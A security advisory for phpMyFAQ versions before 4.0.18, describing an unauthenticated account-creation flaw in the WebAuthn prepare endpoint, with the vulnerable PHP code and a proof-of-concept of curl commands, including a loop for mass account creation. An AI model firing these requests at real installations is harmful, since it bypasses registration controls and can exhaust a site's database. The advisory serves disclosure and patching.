GHSA-w22q-m2fm-x9f4
phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | thorsten/phpmyfaq | < 4.0.18 | 4.0.18 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
### Details
**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79
```php
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
```
The endpoint:
1. Accepts any POST request with a JSON `username` field
2. If the username doesn't exist, creates a new **active** user account
3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)
4. Does NOT check if registration is enabled (`security.enableRegistration`)
5. Does NOT verify CSRF tokens
6. Does NOT require captcha validation
7. Has no rate limiting
### PoC
```bash
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
```
### Impact
- **Registration bypass:** Accounts created even when self-registration is disabled
- **Username squatting:** Reserve usernames before legitimate users
- **Database exhaustion:** Create millions of fake active accounts (DoS)
- **User enumeration:** Different responses for existing vs new usernames
- **Security control bypass:** WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
References
External links from the advisory. They lead to third-party sites.